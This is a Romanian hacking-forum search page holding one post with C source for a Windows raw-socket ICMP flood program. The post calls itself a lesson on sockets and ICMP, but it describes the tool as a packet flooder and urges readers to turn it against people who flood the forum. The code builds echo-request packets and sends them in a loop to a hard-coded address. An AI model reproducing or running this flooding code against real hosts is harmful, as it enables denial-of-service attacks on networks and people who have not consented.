Jump to content

Search the Community

Showing results for tags 'sum'.

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges (CTF)
    • Bug Bounty
    • Programare
    • Securitate web
    • Reverse engineering & exploit development
    • Mobile security
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


Website URL


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 1 result

  1. Acest mic programel este scris strict pentru a invata cum sa folosim socket-uri si ICMP ( "echo" requests ). E treaba voastra ce si cum il folositi si o faceti pe propia raspundere. Despre Ping si ICMP: Ping = un instrument de re?ea folosit pentru a verifica dac? un anumit calculator poate fi accesat prin intermediul unei re?ele de tip IP. Ping trimte mesaje ICMP “echo request” (în române?te solicitare de r?spuns) prin pachete adresate host-ului vizat ?i a?teapt? r?spunsul la aceste mesaje venite sub form? de r?spunsuri ICMP “echo response” de la hostul destina?ie. Transmi?ând periodic astfel de pachete ?i calculând întârzierea cu care ajung r?spunsurile, ping estimeaz? timpul de round-trip, precum ?i rata de pierdere a pachetelor dintre host-uri. Codul pe care urmeaza sa il parcurgem trimite pachete in masa ( flood pe romaneste ) asa ca va repet: folositi pe propia raspundere. Ca urmare a flood-urilor primite de RST m-am gandit ca poate vreti sa folositi asta pe propia raspundere impotriva celor care "arunca cu cacat" de plictiseala. Urmarind thread-ul asta am zis ca poate vreti si nu stiti cum Internet Control Message Protocol (abreviat ICMP) = un protocol din suita TCP/IP care folose?te la semnalizarea ?i diagnosticarea problemelor din re?ea. Protocolul este definit in RFC792. Mesajele ICMP sunt încapsulate în interiorul pachetelor IP. Versiunea ICMP ptr IPv4 este adesea cunoscuta ca ICMPv4; in schimb IPv6 dispune de un protocol similar cunoscut sub abrevierea ICMPv6. Probabil cele mai utilizate programe care se bazeaz? pe ICMP sunt ping ?i traceroute. Mai jos am comentat liniile ce mi s-au parut esentiale. In rest, ce nu stiti, google is your friend (asta daca vreti sa stiti). Let's purcedem into the cod: #include "stdio.h" #include "winsock2.h" #include "conio.h" #include "stdint.h" #pragma comment(lib,"ws2_32.lib") //libraria winsock 2.2 #define ICMP_ECHO 8 /* Echo Request - cel explicat in definitia de la ping */ unsigned short in_cksum(unsigned short *ptr, int nbytes); typedef uint8_t u_int8_t; typedef uint16_t u_int16_t; typedef uint32_t u_int32_t; struct icmphdr { u_int8_t type; /* tipul mesajului */ u_int8_t code; /* tip cod */ u_int16_t checksum; union { struct { u_int16_t id; u_int16_t sequence; } echo; /* dam echo la datagram */ u_int32_t gateway; /* addresa gateway */ struct { u_int16_t __unused; u_int16_t mtu; } frag; /* path mtu discovery */ } un; }; int main(int argc, char *argv[]) { char *packet, *data=NULL; SOCKET s; int k = 1, packet_size, payload_size = 512, sent = 0; struct iphdr *iph = NULL; struct icmphdr *icmph = NULL; struct sockaddr_in dest; //Initializare winsock WSADATA wsock; printf("\nInitializare winsock..."); if (WSAStartup(MAKEWORD(2,2),&wsock) != 0) { fprintf(stderr,"WSAStartup() failed"); exit(EXIT_FAILURE); } printf("Terminat !"); //Acum creeam pachetele ICMP if((s = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP)) == SOCKET_ERROR) { printf("Eroare la creearea pachetelor raw-icmp"); exit(EXIT_FAILURE); } dest.sin_family = AF_INET; dest.sin_addr.s_addr = inet_addr("1.2.3.4"); packet_size = sizeof(struct icmphdr) + payload_size; packet = (char * )malloc(packet_size); //zero out the packet buffer memset (packet, 0, packet_size); icmph = (struct icmphdr*) packet; icmph->type = ICMP_ECHO; icmph->code = 0; icmph->un.echo.sequence = rand(); icmph->un.echo.id = rand(); // initializam payload-ul TCP cu cacaturi data = packet + sizeof(struct icmphdr); memset(data, '^', payload_size); //suma de control icmph->checksum = 0; icmph->checksum = in_cksum((unsigned short *)icmph, packet_size); printf("\nTrimitem pachetele...\n"); while(1) { if(sendto(s , packet , packet_size , 0 , (struct sockaddr *)&dest, sizeof(dest)) == SOCKET_ERROR ) { printf("Eroare la trimiterea pachetelor : %d" , WSAGetLastError()); break; } printf("%d Pachetele au fost trimise cu succes\r" , ++sent); _getch(); } return 0; } /* Functie pt a calcula suma de control( calculata în func?ie de câmpurile antet ICMP + sir de date ) */ unsigned short in_cksum(unsigned short *ptr, int nbytes) { register long sum; u_short oddbyte; register u_short answer; sum = 0; while (nbytes > 1) { sum += *ptr++; nbytes -= 2; } if (nbytes == 1) { oddbyte = 0; *((u_char *) & oddbyte) = *(u_char *) ptr; sum += oddbyte; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } Sursa de mai sus poate fi compilata in visual studio. Creeati un nou proiect, compilati si verificati cu ajutorul unui sniffer de retea (ex: wireshark) daca pachetele ICMP au fost trimise cu succes. Codul de mai sus este un ciot si tre' tratat ca atare. Nu mi-am batut gura cu prea multe chestii teoretice pentru ca oricum 95% vor da copy-paste si vor rupe flood-ul in 15. Sper sa va fie de folos si sa invatati ceva util din el.
×
×
  • Create New...